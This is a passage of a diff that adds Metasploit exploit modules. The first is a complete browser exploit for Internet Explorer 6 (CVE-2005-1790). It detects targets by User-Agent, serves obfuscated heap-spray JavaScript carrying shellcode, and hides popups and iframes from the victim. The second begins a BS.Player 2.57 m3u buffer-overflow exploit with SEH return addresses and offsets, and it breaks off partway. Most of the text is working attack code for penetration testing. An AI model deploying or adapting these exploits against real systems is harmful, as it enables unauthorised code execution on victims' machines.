+ This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
+ conjunction with an improperly initialized 'window()' JavaScript function.
+ This exploit results in a call to an address lower than the heap. The javascript
+ prompt() places our shellcode near where the call operand points to. We call
+ prompt() multiple times in separate iframes to place our return address.
+ We hide the prompts in a popup window behind the main window. We spray the heap
+ a second time with our shellcode and point the return address to the heap. I use
+ a fairly high address to make this exploit more reliable. IE will crash when the
+ exploit completes. Also, please note that Internet Explorer must allow popups
+ in order to continue exploitation.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Benjamin Tobias Franz', # Discovery
+ 'Stuart Pearson', # Proof of Concept
+ 'Sam Sharps' # Metasploit port
+ ],
+ 'References' =>
+ [
+ ['MSB', 'MS05-054'],
+ ['CVE', '2005-1790'],
+ ['OSVDB', '17094'],
+ ['URL', 'http://www.securityfocus.com/bid/13799/info'],
+ ['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
+ ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'process',
+ 'InitialAutoRunScript' => 'migrate -f',
+ },
+ 'Payload' =>
+ {
+ 'Space' => 1000,
+ 'BadChars' => "\x00",
+ 'Compat' =>
+ {
+ 'ConnectionType' => '-find',
+ },
+ 'StackAdjustment' => -3500,
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
+ [ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
+ ],
+ 'DisclosureDate' => 'Nov 21 2005',
+ 'DefaultTarget' => 0))
+ end
+
+ def exploit
+ @var_redir = rand_text_alpha(rand(100)+1)
+ super
+ end
+
+ def auto_target(cli, request)
+ mytarget = nil
+
+ agent = request.headers['User-Agent']
+ print_status("Checking user agent: #{agent}")
+
+ if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
+ mytarget = targets[0] # IE6 on XP
+ elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
+ mytarget = targets[1] # IE6 on 2000
+ else
+ print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
+ end
+
+ mytarget
+ end
+
+
+ def on_request_uri(cli, request)
+ mytarget = auto_target(cli, request)
+ var_title = rand_text_alpha(rand(100) + 1)
+ func_main = rand_text_alpha(rand(100) + 1)
+
+ heapspray = ::Rex::Exploitation::JSObfu.new %Q|
+function heapspray()
+{
+ shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
+ var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
+ var headersize = 20;
+ var slackspace = headersize + shellcode.length;
+ while (bigblock.length < slackspace) bigblock += bigblock;
+ var fillblock = bigblock.substring(0,slackspace);
+ var block = bigblock.substring(0,bigblock.length - slackspace);
+ while (block.length + slackspace < 0x40000) block = block + block + fillblock;
+ var memory = new Array();
+ for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
+
+ var ret = "";
+ var fillmem = "";
+
+ for (i = 0; i < 500; i++)
+ ret += unescape("%u0F0F%u0F0F");
+ for (i = 0; i < 200; i++)
+ fillmem += ret;
+
+ prompt(fillmem, "");
+}
+|
+ heapspray.obfuscate
+
+ nofunc = ::Rex::Exploitation::JSObfu.new %Q|
+
+if (document.location.href.indexOf("#{@var_redir}") == -1)
+{
+ var counter = 0;
+
+
+ top.consoleRef = open('','BlankWindow',
+ 'width=100,height=100'
+ +',menubar=0'
+ +',toolbar=1'
+ +',status=0'
+ +',scrollbars=0'
+ +',left=1'
+ +',top=1'
+ +',resizable=1')
+ self.focus()
+
+
+ for (counter = 0; counter < #{mytarget['iframes']}; counter++)
+ {
+ top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
+ }
+ document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
+
+}
+else
+{
+ #{heapspray.sym('heapspray')}();
+}
+|
+
+ nofunc.obfuscate
+
+ main = %Q|
+function #{func_main}()
+{
+ document.write("<TITLE>#{var_title}</TITLE>");
+ document.write("<body onload=window();>");
+
+ window.location.reload();
+}
+|
+
+ html = %Q|
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<html>
+<head>
+<meta http-equiv="Content-Language" content="en-gb">
+<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<script>
+#{nofunc}
+#{heapspray}
+#{main}
+</script>
+</head>
+<body>
+</body>
+</html>
+|
+
+ print_status("Sending #{self.name} to client #{cli.peerhost}")
+ # Transmit the compressed response to the client
+ send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
+
+ # Handle the payload
+ handler(cli)
+ end
+end
136 modules/exploits/windows/fileformat/bsplayer_m3u.rb
View
@@ -0,0 +1,136 @@
+##
+# $Id: $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::FILEFORMAT
+ include Msf::Exploit::Seh
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
+ 'Description' => %q{
+ This module exploits a buffer overflow in BS.Player 2.57. When
+ the playlist import is used to import a specially crafted m3u file,
+ a buffer overflow occurs allowing arbitrary code execution.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'C4SS!0 G0M3S ', # Original Exploit
+ 'Chris Gabriel', # MSF Module
+ #Greets: Corelan team for mona.py & awesome tutorials
+ ],
+ 'References' =>
+ [
+ [ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
+ ],
+ 'DefaultOptions' =>
+ {
+ 'ExitFunction' => 'process',
+ #'InitialAutoRunScript' => 'migrate -f',
+ },
+ 'Platform' => 'win',
+ 'Payload' =>
+ {
+ 'Space' => 2000,
+ 'BadChars' => "\x00\x0a\x0d\x1a\x80",
+ 'DisableNops' => true,
+ 'StackAdjustment' => -3500,
+ },
+
+ 'Targets' =>
+ [
+ [ 'Windows XP',
+ {
+ 'Ret' => "\x2f\x49",
+ 'Offset' => 4102
+ }
+ ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
+
+ [ 'Windows 7',
+ {
+ 'Ret' => "\x2f\x49",
+ 'Offset' => 4102
+ }
+ ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe)
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Jan 07 2010',
+ 'DefaultTarget' => 0))
+
+ register_options([OptString.new('FILENAME', [ false, 'The file name.', '